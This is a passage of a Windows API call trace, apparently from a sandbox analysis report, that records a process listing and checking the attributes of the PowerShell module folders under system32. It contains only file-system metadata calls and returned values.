ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e300dc, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e30eea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~2")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e319e4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e92e4b, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e93bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x208aa1cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e950c4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f64ff6, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f65404, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb8b03, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb91fe, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb9d09, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fba32e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbaba9, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbbc28, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0084.972] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1fbcd58, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbd4ae, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205dc90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205e730, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205efde, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205f3c7, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~3")) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.973] FindClose (in: hFindFile=0x75c6d08 | out: hFindFile=0x75c6d08) returned 1 [0084.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.973] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0084.974] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0084.974] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0084.974] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0084.974] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0084.974] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0084.974] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0084.974] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0084.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.974] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1902eb1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe9611c78, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.974] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0084.974] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0084.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.975] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197a24f, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x76586f17, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.975] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0084.975] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0084.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.975] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.976] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0084.976] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0084.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.976] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.976] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0084.976] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0084.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.976] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0084.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.977] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", lpFilePart=0x0) returned 0x4f [0084.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.977] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ea3b1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0084.977] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", lpFilePart=0x0) returned 0x37 [0084.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.977] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19eb58e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.978] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0084.978] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", lpFilePart=0x0) returned 0x3c [0084.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.978] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dnsclient"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ec84e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.979] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0084.979] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x4a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", lpFilePart=0x0) returned 0x49 [0084.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.979] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: 